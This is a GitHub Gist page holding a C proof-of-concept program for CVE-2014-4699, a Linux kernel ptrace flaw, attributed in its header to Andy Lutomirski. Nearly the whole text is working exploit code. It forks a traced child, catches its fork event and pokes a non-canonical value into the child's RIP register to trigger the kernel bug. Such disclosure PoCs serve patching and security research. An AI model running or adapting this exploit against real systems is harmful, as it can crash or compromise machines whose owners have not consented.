Created
July 9, 2014 03:40
-
-
Save kennwhite/e2359022bd8355bc1122 to your computer and use it in GitHub Desktop.
Ptrace stack control PoC CVE-2014-4699
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
CVE-2014-4699 ptrace stack control POC By Andy Lutomirski | |
See: http://www.openwall.com/lists/oss-security/2014/07/08/16 | |
*/ | |
#include <sys/ptrace.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <sys/syscall.h> | |
#include <sys/user.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#include <stddef.h> | |
#include <stdio.h> | |
#include <err.h> | |
static siginfo_t wait_trap(pid_t chld) | |
{ | |
siginfo_t si; | |
if (waitid(P_PID, chld, &si, WEXITED|WSTOPPED) != 0) | |
err(1, "waitid"); | |
if (si.si_pid != chld) | |
errx(1, "got unexpected pid in event\n"); | |
if (si.si_code != CLD_TRAPPED) | |
errx(1, "got unexpected event type %d\n", si.si_code); | |
return si; | |
} | |
int main() | |
{ | |
unsigned long tmp; | |
pid_t chld = fork(); | |
if (chld < 0) | |
err(1, "fork"); | |
if (chld == 0) { | |
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) | |
err(1, "PTRACE_TRACEME"); | |
raise(SIGSTOP); | |
fork(); | |
return 0; | |
} | |
int status; | |
/* Wait for SIGSTOP and enable seccomp tracing. */ | |
if (waitpid(chld, &status, 0) != chld || !WIFSTOPPED(status)) | |
err(1, "waitpid"); | |
if (ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK) != 0) | |
err(1, "PTRACE_O_TRACEFORK"); | |
if (ptrace(PTRACE_CONT, chld, 0, 0) != 0) | |
err(1, "PTRACE_CONT"); | |
wait_trap(chld); | |
errno = 0; | |
tmp = ptrace(PTRACE_PEEKUSER, chld, | |
offsetof(struct user_regs_struct, rip), NULL); | |
if (errno) | |
err(1, "PTRACE_PEEKUSER"); | |
printf("child RIP = 0x%lx\n", tmp); | |
if (ptrace(PTRACE_POKEUSER, chld, | |
offsetof(struct user_regs_struct, rip), (void *)(1ULL << 48)) != 0) | |
err(1, "PTRACE_POKEUSER"); | |
errno = 0; | |
tmp = ptrace(PTRACE_PEEKUSER, chld, offsetof(struct user_regs_struct, rip), NULL); | |
if (errno) | |
err(1, "PTRACE_PEEKUSER"); | |
printf("child RIP = 0x%lx\n", tmp); | |
if (ptrace(PTRACE_CONT, chld, 0, 0) != 0) | |
err(1, "PTRACE_CONT"); | |
ptrace(PTRACE_DETACH, chld, 0, 0); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment